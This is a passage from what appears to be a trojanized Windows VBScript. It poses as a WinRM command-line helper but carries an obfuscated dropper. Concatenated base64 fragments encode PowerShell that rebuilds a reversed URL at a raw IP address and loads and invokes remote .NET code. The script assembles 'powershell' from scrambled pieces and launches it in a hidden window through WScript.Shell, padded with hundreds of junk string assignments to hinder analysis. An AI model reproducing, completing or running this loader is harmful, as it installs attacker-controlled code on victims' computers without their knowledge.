hvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZ
XRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0
LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMV"
fosfena = fosfena & "MsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZ
G9oMVM
GgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNk
ZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVM
saDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxU"
fosfena = fosfena & "yxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVB
sQWNFK
bQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdN
zUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5
nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp"
Dim desemparelhar
desemparelhar = "
Dim consego
consego = "
consego = consego & "
consego = consego & "g
consego = consego & "
consego = consego & "
" & fosfena & "'
consego = consego & ";
consego = consego & "W
consego = consego & "
consego = consego & "=
consego = consego & "
consego = consego & ".
consego = consego & "x
consego = consego & "
consego = consego & "d
consego = consego & "g
consego = consego & ":UT
consego = consego & "F8
consego = consego & "Ge
consego = consego & "St
consego = consego & "ri
consego = consego & "[s
consego = consego & "te
consego = consego & "v
consego = consego & ":
consego = consego & "mb
consego = consego & "e
consego = consego & "4
consego = consego & "r
consego = consego & "c
consego = consego & "ig
consego = consego & ";po
consego = consego & "w
consego = consego & "el
consego = consego & "x
consego = consego & "d
consego = consego & "ty
consego = consego & "dd
consego = consego & "e
consego = consego & "ec
consego = consego & "i
consego = consego & "i
consego = consego & "p
consego = consego & "P
consego = consego & "i
consego = consego & "m
consego = consego & "n
consego = consego & "Wj
consego = talhado(consego, desemparelhar, "")
Dim amadurar
amadurar = "p
amadurar = amadurar & "w
amadurar = amadurar & "s
amadurar = amadurar & "l
amadurar = talhado(amadurar, desemparelhar, "")
amadurar = amadurar & consego
Dim clemenciar
Set clemenciar = CreateObject("WScript.Shell")
clemenciar.Run amadurar, 0, False
WScript.Quit(varo)
End If
''''''''''''''''''''
' Escapes non XML chars
private function Escape(str)
dim i
for i = 1 to Len(str)
select case Mid(str, i, 1)
case "&"
Escape = Escape & "&"
case "<"
Escape = Escape & "<"
case ">"
Escape = Escape & ">"
case """"
Escape = Escape & """
case "'"
Escape = Escape & "'"
case else
Escape = Escape & Mid(str, i, 1)
end select
next
end function
'''''''''''''''''''''
' Checks if this script is running under cscript.exe
private function segrel()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
segrel = True
else
segrel = False
end if
end function
Function escariador(ByVal espontaneamente, ByVal enteiro, ByVal cardina)
Dim gorar
gorar = espontaneamente
Do While InStr(gorar, enteiro) > 0
gorar = Left(gorar, InStr(gorar, enteiro) - 1) & cardina & Mid(gorar, InStr(gorar, enteiro) + Len(enteiro))
Loop
escariador = gorar
End Function
private sub ASSERTERR(obj, mortinatalidade)
dim errNo
dim errDesc
dim responseStr
dim formattedStr
if Err.Number <> 0 then
errNo = Err.Number
errDesc = Err.Description
responseStr = obj.Error
If Reformat(responseStr,formattedStr,mortinatalidade) Then
stdErr.WriteLine formattedStr
Else
stdErr.WriteLine responseStr
End if
stdErr.WriteLine resurgimento("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)
stdErr.WriteLine errDesc
WScript.Quit(absorvedoiro)
end if
end sub
' Assert Named Argument Length
private sub ASSERTNAL(namedArg)
if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_ARGNOVAL_Message") & namedArg
WScript.Quit(absorvedoiro)
end if
end sub
private sub ASSERTBOOL(bool, msg)
if Not bool then
stdErr.WriteLine resurgimento("L_ERR_Message") & msg
WScript.Quit(absorvedoiro)
end if
end sub
eLHzoKtsAhxkZhi = "iKUGrinapbpNfzm"
WLLbWzWRNnpPOPA = "WKkGrppNzUUiUWf"
ukWGGcUKGpcKolc = "UUOWWLTknBjBimj"
ckZxWtOBWGKPaGU = "HIbWiLocZeiCbdd"
cZpmZcqpkUoLBHK = "npicNBKWpujUZzp"
NJhKLOWnWTWCKGJ = "LZddBfQKnUcphPU"
phkCWPGxhrGGLqP = "WeAqcGCicbhUolt"
WmcKpLWRLQkhhaN = "KoGacqndbioKPCC"
iRGmLrqiHzalLBP = "qziZASLAKLZeAUA"
kdkHzTdLmRULTaG = "ZbbpnKBNbKNbJBd"
LiWLUmdaicKPcic = "PzkKfUZmilWKlOz"
qLaKpiWqiOWPWmG = "tceNWWLliZBWWOG"
BkhGmKLRpmPocKb = "WiednNPieciicLv"
oWmNBdhPWLTOlcq = "BuzHLiLmhWapion"
mfAxQUpWpSuiiJo = "BPsGihsLhigierL"
mRUqPLszcKmiiAe = "WLGnLABmbsWqzLG"
zehcKZpLacRfxLL = "WkLWscxiPvtRocc"
IinciaPcoeoGtLe = "eWKWGLTKbdLAWpz"
WqUJTqGKiLTeKLZ = "ULiLppLuuKaAhaC"
ibGdCehaktAKiBN = "LAQimWcfpSKkCik"
KcHxRmxxmWJpWKo = "WmKCiLZquZqlbqj"
bZihKtzebKmncjZ = "HkesLHhumBpeLLW"
ianqmieznOWZGGm = "tWSKWheaqpBZufW"
fWkiCkommpxNrmW = "jzZffUeZjLxxeGn"
KNztKULadGfkRtC = "WfgWmRxLNiWZpbH"
PLiLGUucbGLdKtc = "kkkoLfocWGmOdnP"
TfUzjmmOlKioojK = "cWLitpONCipAULI"
SdiciRLUxaWoLLW = "pzTzWWccTAOUAZJ"
egoLiLvLKbGoTPz = "IeLzLAIWNWWiKWq"
RLGIzUGZnmJWscL = "oxKKsuCCjcogombralbblz"
iWWGCKcWpelPfmL = "cLzQbbbdKUNnzLN"
BNtpUNOKkNAWIaR = "muUPKPkJJJxkoKh"
WzQeoUknficLRci = "oiikRKWLiCzsNpe"
KAUmoleeZqfpPcj = "AGWelUZOQiNmPnL"
bcBWuukZkTLmsdn = "mhqPGGCGNdmamir"
UQWZmnLeKLAAUie = "NNbHiUpOJdfipiT"
BoKoGWcaCRkbQGd = "COlazdWGzLveKUl"
RkWneKLbcmGKtPL = "skUtWLfOemuopLK"
LbuZHoKZiGbemez = "WaaWbgiecJadWmW"
uuaWfUZkcWQKAtI = "qqnZAWNtKLPKLcc"
txBoqnSWNbxAGgZ = "pNoBUNiLKhLpKcd"
LpKWdWnLWWiAeoC = "OSAfacLdaiWZCmf"
WLNuscUvcGWcGgi = "fKLBULLLsWftCfL"
LzSbrckLlmACqgZ = "iWebGKGiLPcxgLx"
WekzdfbWoULGfKW = "LURzizdLteivlKp"
cQcLgLCKidbWlkW = "tPbLtqBLkzLtkbC"
ZPWAakZcPKtrKLd = "kNpUogtLiWiALUa"
mGkzslixGmcKRmP = "BWfPifGGKWhpnxG"
WmHKqbsLKLbKcAc = "WkZKNlrptLURGiZ"
TkaKBPBUixGWfcogombral = "cWhadxfZJcrLeKq"
bQnfKtLRULWKbig = "dWSLbIGcHziiooh"
iBLAmthAfbdtbGm = "zLufAzkAGfCeAGz"
fGcOKilKtfULZKC = "zWRtnWcqkBmzGst"
iOKqandoLQccaiN = "RckLGWmKigextUP"
ULPPUmlhAPcoALL = "PZSAbLAxWWUGQUQ"
iWfpiOdpcGAAAdk = "pWAbLiLqkfcnSzG"
fhAPLLiNrBNgpAS = "WmuZtWAgWLBZrRc"
ppKpPLlUeGWoWGa = "GKKOiWzkHLGUUAg"
kaomkILULloHgPm = "iOPPLizttiouKdm"
ABOJWmOmGfliJcP = "LChLxdhcWAiZtcL"
KqANZKdmiAOlzoe = "eLWSvKNAlpPzhmT"
stzLbALuniLdBbK = "ubGmzgzAWWOWZzx"
zoWGzpLZblcRGke = "CNAKqNxWWALaWLU"
HhkxTbtipkicffH = "AiPPUAtpKiSKajW"
AkLImULLhGQeLhd = "GKoNWgbPfzatrbb"
GpUbeGpctbLmlSW = "iGPLhBQLfsPecBW"
nOzTKmWjqiWcmZk = "RPnoZLpKdaCokne"
amhqgiomlcoSdRh = "cKLcWNihUxvWmvA"
WiaLHJpcmqAUgLu = "iZiPdicoHKcNKkn"
lWuuNsZGckKckWs = "nLCxLqehNrbfqAj"
zAWupUWhbiqRAkC = "rOuoLWZLRZNPILA"
TfKBZOWcOaKKKkd = "cnWLgIetccKKLWB"
OuephGcogombralUiUlQKJ = "ziRKTSaRKdIcSiN"
fLizofKRUvbiQkp = "LzTfUZKWqbUeWWp"
RIibuoqmvhpCzUG = "xAWulLhPICsLKWf"
zLsLmPImmkcCzNh = "mPWhclLiNcikPbl"
GJifGoUmiOlGkKW = "AviUnflPuhWqNZL"
eZocWCZqnilcWpa = "CiKkmcLPoPckKbL"
WmiLLGmhcppLGdt = "ifvfGNaNfIQndGZ"
LTNpRZiGCLmpLzl = "jtxLcLOcbPNWosP"
nTuWomWhmqmAWir = "ltZZLGzAUiRLWpa"
ppIQALiKKQbpLPt = "LUAizWTUfmRiWgq"
mLOimANhKNzGnGh = "WdLUgfptdAJvAcl"
WgjqzALiihlHGnR = "iWqhNkTmbpnLWHL"
ebLzqbLtLLLnUWL = "cfiOdhLSlNZbezi"
NoGKckLLdKmklul = "QhcoBWWoGiGhiAc"
RzfKKAiKikTGGkc = "NtGAdkWmGPpdiNb"
KUKWUWkUWhgWLWi = "UBWcuULLxbictQx"
lfjcjdoWPItWLqa = "rNiLhKaNsAILWLi"
RGQWukkKbbUzLKT = "LaNbiPtibflRdeZ"
tBZfAlLvIqLmhBK = "KRcWWAIacAGNinC"
ipcuNsIiHGCvaRk = "WZAOfWWldbbAiAW"
iWHcACLLJnKNdQu = "WSLcpNxUBJmzZcU"
LcKnZmpALcUlhcK = "lLRqkWWiIUpOueW"
gCZNNWZmkWobCxz = "AemKZoahWlLcNKB"
NbCnApWvliWGNtc = "hcAGpTBKtizbbWl"
PKcBGALxkKfpcWx = "WWLcuHitAmUiRLf"
OGWGJRLnktZKWvG = "WLakNoWKqkcevkW"
WdrnoLcUNfoLHnk = "nvoASWLmLkkbANb"
xmsSpGhoAPLdqNd = "GGdNGfgLKiKCWLC"
vLdGKRRUBiHWiQb = "NvnemGiuLUkifgS"
RighReSLfUOGLiQ = "LnGLbWcKcogombralpxotc"
LLhZWGZindnTcBi = "WdLGWaixKdodcGW"
dRRKKhbvkrLtKhe = "WrRlmLWpuqZhCLL"
ciWKieOcNozKhKe = "GKzPuoWfmbooGCU"
OkLtKqdUpkhNGck = "cfLWhbLZrptgjlP"
LWeuLSTWUCsAqAf = "KGjorkjdKGhGRLc"
LLtiOmkKKlfWqhU = "OWiBAAchqlIgxlK"
IWNZoxKjlkboRum = "GGLzKBGpOzGKLNi"
UWKuObPhgTLpWLG = "cTahWmakWkkmLbq"
GupnthjcdLpCoio = "WscTBWmzijKhCTc"
GkLppLmKqtNvIPg = "KcmfZhKLBCbWLIL"
GZchpicLAxWuGLd = "jlSZCiRqALKkKme"
UfzLusWlfpWzieA = "iuKlcizkeCfmNim"
LGBGeAWttbCJbQh = "xckpWUfbGzZtLcf"
AGvdHolTGNbmlqZ = "KmiWbZcZALGiTKn"
hSBpdPNgeQfWAkC = "WWpgCLHGczWPCWb"
qPLucGcuecbANUz = "LLhWiczvWNiLdzU"
czthNzAceNnLAcK = "LqKqkdKUiibuLuK"
BbosKRGKWspGrem = "NeaqLCthmHsLcAi"
amRGWOLqhNmfmUK = "PoLLPKcsuliLahU"
UzZGtlhaWipLolf = "fcohZdoknAGxKPd"
HPLqAWckafWPaPW = "KpSKWzOzBOzLdxI"
axkUurfCRKAZLiW = "ddWokWRnulppJfL"
ikNoLLAizLWAZrW = "LLZKGcagiWLiZxe"
GGnlKdZftAiKbcz = "CLnKKTohWiLkPWG"
HOUiuicJGOLNbtZ = "BfcnhfSLjRWaLid"
cekecRTpALWxGNr = "KNpQLcaeKbehRmC"
RcoiWUpmxkBlbRW = "cSIkaqzefBfSWKU"
POfZdxibRxUKfGN = "kGZGKchLIbZcLcn"
WZicAOLdNfHGicK = "kanURfAgCiHLIWL"
tbtzLTRdtOOLKWh = "bkhfKiUznWecKGg"
GuWZkThULuUmhaO = "KAZeZkvjPKRLcPK"
ickUfNzKJUJZKLq = "LPLxLWrWlekzPKL"
npLeWbmoiWLakGb = "WfItWcfWWILhsUr"
kLWhLkcziuKusmW = "WckeLpdQczIiWPN"
ThvxpZmepusWTzL = "sNzCloTbLNJSKLG"
kUHKatOIZbhpOkG = "lhRWsWGzGWOffZL"
borpzpAKbcLlxLe = "WWBBKZWOhWNWGqG"
zUGizifkOWWlnzP = "umPKPzGGTKolkuj"
ZgzPmpPbhUpcBiU = "hAIzGdPiWZmcLhb"
iKZKbeJWNeGkGba = "WWSGoLmBxoUNqTG"
SLcWfpPKRIWKNkL = "JLzaLhNuHZZxAtu"
iilLCnLGLAfmLzK = "hklJiLAkgiddLfA"
mCnxqLimkboGCgL = "WLnxxCLRrKaCdPP"
rsWRLCtNsiiaZcs = "ZcNWTKcWCdnUiqq"
paiUeKRffeKkUmW = "lkAKWnGWhxKWciz"
aqtoIbJqWfLKzZO = "LbWHbWLfzPlGpzG"
gUkOtmikZPpLGiL = "rSWULRehuLRCzCB"
hPIchcGaCihuWQK = "KJicKtbNKWLcmKL"
cKZTJZZUWbZWcKi = "uiapWxNoqUcxLej"
bWgZWSWUkAjGLTs = "tkpoKgLZfaGWIGW"
TrbrbxRZArtdpIB = "gLWWuoNsLKpeLcl"
zkSidaUKmPxPBZi = "dGdiiWCoBWANJtk"
QOLNcOklnLxbmLW = "eBLKKhuLGCLmcPJ"
pKqUPKLmhipNlLK = "WWPnhoAKZGlWLSK"
LpofcLgoAdWLWLG = "PtROiBLUpnWdQuc"
nLWecbLPOhtxifZ = "pbmKGUhbLAneiCK"
aSLcLfKoOGWLmtW = "vLozQLRHxGLkNbf"
pikOLZLqmmzctOG = "deSfBCWiKgLZeUL"
JeKUKxlpLmCWZbu = "hLapbikWndrSGzZ"
OkAALBzWfUSreOW = "okkGKgcfzkqLoxk"
zIKLjKefPjfLecZ = "vLKuieGTUhUKGhz"
WZPjefkWbqZciAB = "bclWWiKGLLROLLc"
KLNkIczGLoLWlZU = "KWmWmpqOLoBWzBq"
NfGriaLdqlmAfWu = "dxWhLhGWPNRigck"
sdezntpkpWRplik = "WWRPTLPNrPbizoP"
PhAlUPPfWgLAcLn = "jWWkLuKlcKhHkmG"
vjSQKafmPRfqALh = "AbKAUlvUZLLlUui"
hGoNAinmxmGiiWZ = "ckkkGPikWWvLKiK"
uaKkLhcogombraltmzKKuc = "WWcpUghxSGWbPcW"
JZoCcqZULupWkhb = "CBUtWQbUCAGczcA"
OecogombralfPkulhcUgNA = "bWZikKtKTuWxnWc"
OLLhhkWKGkKbLLC = "KOZPLSoKiAWzakf"
bKimuRpdWcRCkiL = "KZnzdLnLIboLCpp"
ZUuHfkpCzxzGOiL = "mUeoKNcLNmkGgkq"
BUGLUckRKhGLffL = "WcUBpfRBbasxJKi"
xLGKchGddkIqehK = "ZfKTBeGWvUsxoWr"
dAcLUeaCAgWzLxf = "iPZLWpbppoLLoLA"
ULLHfLpKpKbOBpf = "vlidikRhiCWCAxK"
PfZWAtkWcmbWukL = "LaiPQWLhfLNeKGz"
GgJTPmmZmnOrLid = "luBWpPKjLKcWkLU"
TglKhrWPLiPNAtp = "bWthNihfhcZAWZW"
CWfkUoLZGWxnGLk = "lJLfhAmATtcaGad"
pTWiPRGpcLZLgWA = "LWWkWKIKfRCCWLO"
ZPbihBiCAmCKNWI = "HWZPPeLuLLAGKWe"
eWWapSxiGpUBUGj = "fAUzNcPjWAbbKpN"
WonLLWWctuOJLGa = "bWWZWpfzjgefUWH"
uUxtPWmZstWLbRm = "hJLsAqKLklALisN"
ZWOhNGJimbaOLtI = "zOxukqZfpGpkiRi"
CbqkkNCdGWUPtCL = "UoocnItAgGhWLPL"
ihaWxLnKNmUibUA = "CzLePQfkNJBqAPZ"
LNxCbNdtNWUKlLi = "GbexUPhZtuniiUR"
LloudtLficcOktL = "WUpKGLvNxRNOWGC"
GxoPPAxKlmJbCWb = "JknklAkUeQekRue"
rGtNTNCeLCerLAB = "cLrLtkZUJQnsWzz"
mPcWbzdpxWGfiiv = "rGkRbQLrftRaxtb"
hfcCQmbORgOpfWG = "cbdLLpirWROpUfG"
PcZpiqpKZULChGB = "cmGgfKLmJPPkizP"
GipWcuaiWAxonvK = "nGCLLkzTzLkqLQC"
aRptPWkPLPOTHWx = "vkGihWnioLtKLPc"
cIpszUWqeebNaWU = "qBKHdLNbtKcUSWp"
ehKWZPLhLKBqSUR = "BPAkKWLNccLaLdL"
AWLiPZtZiLlLnPc = "PfuWUaoLGghWjWW"
tWPaHZeWUbgGKWj = "coKWKfNbRLGaonZ"
LQzLLpWpbLSLLIL = "AdWoOUGuPaLZWkL"
anLemAULWZmuPUU = "QAPcZKoqiNpGCaA"
zLJIUJLoUbZGtRf = "cBumhbcuAkLdvlc"
pimziTWNifbLLlG = "WulWWeqfLUcGhba"
KxLLBPfoiNrtWGf = "cmUkuNjLZkcxuhh"
oUJmzGiJCnsKGWR = "ektvicpiKpKmNqK"
moGfkoPWjciLLei = "aLhAWRbLcNJWULd"
WPLSkUkZffmnicA = "BaGKicWafPRBthW"
hALWkuqKiLfqoWm = "chcPZKWLcHWGnbL"
UcZOLcGLjzUnbNm = "kNKpmkUiucWTdco"
bcCPUKsaelGosnC = "WeiGiWbOGAfJocK"
AZRlvdCgSRLpWKq = "LLACTTAcLqeTLht"
CiRKudNenGWsbch = "ILZjWKclaWPBGap"
AaamxJPWoOCKCub = "UoWxcGLfzkvhPOc"
KiWQiPxPGfLzULc = "KtRkoWNoqULbGdS"
euGoGqWWemGQhpU = "LOhmnBWobeocRAu"
ecLWUqLiiSiPkdc = "NokzsGPLNGHWiii"
GcifQNaoWLPPelZ = "igZaAiciWPBGHUt"
ProxlKWOiZcLNIu = "WciAcRiKWWLKcic"
lxiiLboLuhWeKuK = "zpqUipTkCNKWzWe"
CcgiLglWPLefalT = "UemPWepucOKnWmW"
PkmsWZpKZPNznIU = "LpihLQeilOHisfp"
PfWiKQtGmAGzlqf = "ocCdKaLpegLLvmk"
mUqGneIpGxiilNh = "kWKcNzWnibcccLU"
QoWWCkzauehUUKh = "dWdmNoWeikPohac"
IcHWAUctGAOWcuc = "WqmPWfobiiLxqap"
IoWcGxNKibneWfc = "PQfBnztWifNsWie"
WTIOBLPLcxbWhhb = "LUqpsaPBGrkLOkR"
LWcLZcdhLpfKWWt = "PcoWlUzBuRLULzz"
PKeWuLZimbZiczp = "BzbhirbzzUWiCOA"
cqjWUOdLniLeACc = "UCeWQWunkWWLoKK"
KRZcSaWZUKClGRA = "BpjOWWmOqQfffcG"
NhUTtcuGPlagObA = "IeILhGWRLWmCvPk"
mbLbmkJZWWioRgW = "LfTLtccLdNorWNm"
tuGibWWcqktbUUk = "PiWciLhrnliGLeW"
QidvZWeiKsGLBNo = "URcPtWcdnWnopfN"
KJOsKsWrWKhSeGm = "xPCeUAgoLPUUPKW"
lAKdufKWLiNoUWm = "LWCAHLLWiLxscGL"
ktxKLiZLUzxGfNe = "ftHKkqaoiazLUiB"
ZimRoZticcWcUnN = "kbeRWtmGzWKkLce"
LLonUnkRadLLuaA = "piciiukpLfcLdGP"
gOAGfOUmZUhNahm = "LUNlUGWGktGaIxi"
ClLfiWeZUlLhzNe = "upiLqKUZkbUffaP"
LxUlCbubUebtLPA = "CLzNckfLbkcBiOi"
kkhLjiUhWPlAWLj = "KmcQLpNZKkkqcWW"
ZiLTzLhcLCthTZz = "zJmJqWiWhlWaLui"
WORhhHbZoaGWbKi = "NqZLKWmKNreKomb"
UnPQoLebejWHKWG = "ALGWUCzcacLafqz"
TeNehBoKLQGcWUn = "LZOiOUKPWbcKgqW"
ZNGBLWpLnhWIGBx = "GWTKiBGLLKgkROi"
bsWcAeoLLGhtoie = "hsvOzBcogombrallaLZcWU"
ONCzNfLPekkOiAv = "tbWpLaLQbikKAGk"
fkoeieZUOCRhWvL = "viedbLLWLLbcuri"
LWWdHTLzdaWzRuK = "NGjcIkKGiWohLhU"
NCZCmaGjWLqWemb = "QnLeQmqmuxNSPdk"
KGAKcfnBIqkzuiK = "tnGHqZUiIUmLPcA"
TKlKpdUbUiLWLiU = "HBmrBzKpHeKqnBK"
KhdHLhzGpnnkpHl = "NKNWlCBUPtRUqvo"
GNAWmnfWxUGeuCa = "akezntznQfKoxLp"
caxGKiNfZukOuAK = "kOzvLZZPWHLbhpN"
RGKKzebboHebLLk = "iPkfiLGkcogombralnhqLL"
uLiGgKKKIqhaoZb = "WLfNrHKKPGlKWpp"
LnPczWNnoZLizdU = "BzGjpGWWWKLLLot"
dickGGTIcTAbibA = "KBiUUiNneLnPpzs"
urAcNNUGUebzWNU = "SlZWBNjoiLeKqiQ"
NQPkKoIBWGeqWcG = "NkqxvKLhlWKzpTS"
kopCqaLoKielaAq = "bcZLWZLWqGcghLk"
TgNoRcWtWggULWO = "fNviOpxWnPhoNoi"
KipWhofkzZiGnkf = "PliPuzeiOGPTfur"
iciOheBpofWcogombralLG = "okLUBleCmUCWSUO"
WkBNnmLLWiiWmGv = "bvzNzhWGrPoiecb"
LeLhHzKehQnszLk = "PqHCZPUxbprLbbL"
KObHWhfHRLBSiWp = "WLLsihocAkQWiKb"
GZQLrLaKLKxrjkW = "aqcZUZeKkhTLAcC"
HfRUpcogombralUtQWchZK = "uvUhUokoqifWfpj"
ANHiWJhkeHBiKNk = "zxeTgpcCWiUeciL"
KAhvIiZemUixQAL = "GcmKNoPetWbARzU"
qWtccoKLIKxKAcc = "UWLUqPCzAllclgi"
bzoticGrZocjxBN = "ZSmoGpafKvGokLv"
pGWffcWkGLbWKCl = "LiuHcOnWnZWLLWB"
xOiLlZLKieUZieK = "mfGcOiciPNuQLqL"
ijLWtWTpLCZSLuK = "LkOpmLcnzemCWzL"
tuWNSaliCaKiLWi = "LPzkWWnqJOiqWKl"
jisSlrtoqGpeOLd = "viaIoxbzZOQGiik"
kLxIxdhhKKKcLdW = "eizhBLoGabmTjfo"
lPcjmAGfpBoflPa = "ZxLGWLLftpUTeKA"
iTzhBrLeiLWiqct = "pcLLtQmtKGkGNKz"
JWtGWsqzhpHAoAL = "rdesfoKZiLhqkhA"
LWWbaiHxaAndBWi = "OkKRCckmfGdUxZK"
eLkxcHkGWOkCfBa = "LGfzRlBqGLAuiIn"
PuWWkfzULGLQIaW = "LNWZxcogombralzeWWUBCR"
naxGcHRLAZOWRKf = "pIdlodPGugznzoK"
sPdAaPeAZipQLvW = "ielGacPLBkUCnAl"
WkUkWGLzubuLUhu = "ZtzWPGLacrmkRLL"
ZkGWspGiejWqaNZ = "LWKLOGNdGznvKmk"
KPGBoKcQKWTWcAm = "oGkkGPiZKTiiGBv"
LoKLGxotaSBUbUR = "qfGufHWlLbGLmPS"
dKGWtkclxLKrciK = "KUmBOSPiGWkWOLL"
oOkTpnocLLksUKi = "WNAAhAiiqqJoWeK"
UxAUKGiuctKKZRm = "eGQcWJmQoPKfasL"
ddKizNaWKxChCzh = "zPoGiczdGGWZqZz"
dKOmicUdnzcLhio = "efnxOHRKAvzNPQi"
AkZiZfoNzUlmipG = "LUNIuAoUiktLLkK"
APAznGhAKPLZqxU = "WiLtvWmCzpKTpxi"
bWaCLbifLcNNGqW = "SmlPOipgcakpWWA"
anoUIZdWKBxxLdh = "BzcKiUeGKoQRGLi"
NpCoNbOzUiWUbmN = "bKKWdZLLGBAzGQJ"
nHlioxkeesjscZA = "UKPzBQWZqLRdfkQ"
blfeZzceLWgaBPg = "LilnWcGipTKGLKL"
pfIZlKLfchnWNiP = "RdhHQPmNabKBKan"
cogombralWiTkLLzBWWxfU = "qWxciWQNaLBKWaL"
WcLqQfZCfUeoUmO = "KOPfBkGCWZWbeOv"
oWpUNKahNHienPZ = "dzLUqmKWsZjCOUA"
IfUKZPALmKdinbP = "zhcURKLkWHiRUOA"
cOGLWeLeAdkZgnp = "hWLKtzULRkzeUkR"
PGeLpiaKkGBNSqQ = "cTLUZLdeGpmWWuP"
ldUkintsmdizZnf = "fKHWZLCKjjHhLWI"
LoblfetTiUqUiBu = "hBkBcKLqNmPZxko"
KSptAcWKlbkifcj = "COegiCftBeeusAx"
icWhRLkNhzGOGLv = "uQBZoUTiitcuWLN"
zCxANtLRUadbckS = "ZuLiRojxcIuoUfC"
oJxnkezWbpkeUkZ = "WdBNcWkWcaRqxKN"
OLLmkzlhvOmQmGx = "GxcWBLeTbOWWlkf"
pUNJATgOLhLhPhP = "edLPicpdiBdKUdp"
cHWdmGhUxePlkNf = "WULzkdluWPNdvUJ"
ozsfLGioZKWmLbc = "lnhcZtiUnabmibf"
AChiiLhkiGjcOKG = "mLkNGKKmmfUAUsi"
kxUUKUzgPKcQKjL = "ULWAaUOLtkmekCL"
AaiiWLLHeZGgCKc = "GhPWePpuzOhOZPJ"
LccPdWiOcNczPbR = "LJzNOWhiIONfLKW"
cpRkRioBWcWcLGh = "LlnillWLoPoCKZP"
kabfNZKqdhieqtk = "QKPneGSbfLOWZPJ"
ocLHGcogombraliZvlNdOW = "NprKgfiLLWrGcLk"
feKdtcNZSnxfiTG = "NcsaLBWzZWeiWiv"
vKqecUeAfmqZzWW = "oGLKcGzWOitqCUb"
qxWKLceUJGSkfpH = "HqzSQkpGKdlLbem"
aLWeLpGiNkiLabL = "pthmaGesLGeOhlR"
GTcLGKcjiKLjffK = "LKoocnrfLhtLLAk"
PLpWZvLZhTLvilZ = "BKoGiGpGNcUcUOW"
PLtWLabkmKmOWKt = "RGkqnfeJaoQWeUL"
janGmTWLdWLpSKb = "ZWGKkZcPZChURKL"
eolmWdmAztGLkqL = "RNPhLLgmGnuiUZW"
bWKGcaKalfGhxni = "dhuWGcogombralqKlaZeLR"
rQANtxTmeWiGfNv = "LmLviKKltKlpLKW"
cWGtkBibLGcNpdP = "GmLWtlAsUbxHpnf"
ezWcLWhWkKLLzKL = "LfukpGOlhlNbBiZ"
pTNdOknKcvAaBLd = "AKnzLQZWondiNiG"
WaLSKNGAclAiKBP = "cgxhsLLhhsvOfWm"
zPtrrkKnatLLgNv = "RoLaKaLzbazfqKP"
gkLolGZzimLWLWk = "cZaWLqUOeSoLUNi"
zGzkhonmARcLLGx = "LBCGkRouzzaAibA"
SxWveoqieWAhSPb = "LLodqGzLAckmsBi"
HWiWemoKfLPRcWm = "GndUCfWbNNrAiLk"
lBWehmsNWlsWxJu = "AqUBZaGcGUKLfGn"
ULzcpAfmLPLxavh = "PWBhUvaifjLlzLt"
cLiJbRZnGSoRlPd = "LLRKGltLcchKGaW"
ocaLZBLKcRQnmZk = "UvZaLfLPibhbeLG"
bcLGRhKPCkGIGZd = "cizCGoWPpNQdWfW"
LlokLctiWGaZZkm = "BpRLmGKnGPCHfLz"
LiPdqqoWKOLkBUj = "WWKtAlLucZGxxiz"
ULGcZBtUHKLLKBm = "RfLAiZompfChfKL"
lpAfNeffqQqiamx = "UodUlRiLkxcUkLi"
LvkIKlINWfsiehG = "xLmurAczIALJLLG"
isUUZRiikpWeWLf = "cGfiicRQKCaZPGL"
UNkdhopkhACWZWN = "WfRWmRaIkLlWKjc"
iRtCcGLGzhLiPzc = "LeWbNZQoeaLqLZL"
WxGNqnlTiWPGWLq = "okITPUzizKiUAZk"
hixclSGIoPcOpiz = "dJZjiWbJWKhrKkc"
irLGoUNaqHnfvGU = "LeLnsieKGZWbBNd"
kzcGWPKJJspZbmx = "zzxPAZBspicmLmz"
bbqiuGALhoNPKPO = "eBPOULWjtKiZWxa"
vWRWJLiumicoiWK = "UloLRPZLWPifqrA"
iWlKikPLBhPlIWW = "WpbpaLadRiKWAUa"
JlSmeOhLlZzUrIR = "piPjKsKbkKzeLzz"
cKOLGuGLuLCniWl = "BmzKWjRUtpWJutm"
UCjNJLieZikikdL = "LZvvCPuzdWGezTL"
BmKUskLUpLcLfUa = "hWJCbsiWbmncuLN"
mLWGadidczkZZqk = "riKnPZtKaolkLqc"
ebKlLzWUnKLCpiP = "pzxSbqmLCAcLNui"
OZNbGvZKzcrIeGU = "ZSNsIohxWaibusW"
zLpGmzBaqLdgPKA = "KTGjmqfZAUhcvGh"
kkbfKWRmueKhNmv = "shUcBPRpPmapPKu"
ZAAUNiAGoCmPtRl = "WkUGqUaWUiiHLzb"
kmLpZjoucGUqKUZ = "dciOuWopNidGhAA"
zecWneQAGLgGiZm = "fiAWentxOWRnlJc"
hfWUbGiKmfgWkbZ = "mccLbQIfkLfdHKW"
oLtSiGRULOzLoOj = "JkiPUqWzcmGCBRu"
dKiUbAmzqaLeZkK = "lGAGGNkRukmdGpo"
zxGLilzBbefBIUr = "keLnoCxBUNNCLcN"
dtfotueencAbkvi = "hPWtpRQkaWUULCK"
NkOHitxfBmusclc = "KcAixHriqGKgGkL"
AWpLLjPszlAhZbA = "zWALWWHGhbWiKmH"
OPGcoWkKLHbkhBP = "tbiHIGbCAQkZWoU"
lKZGeqcTecLzmLc = "WkKGWmeGapfetkT"
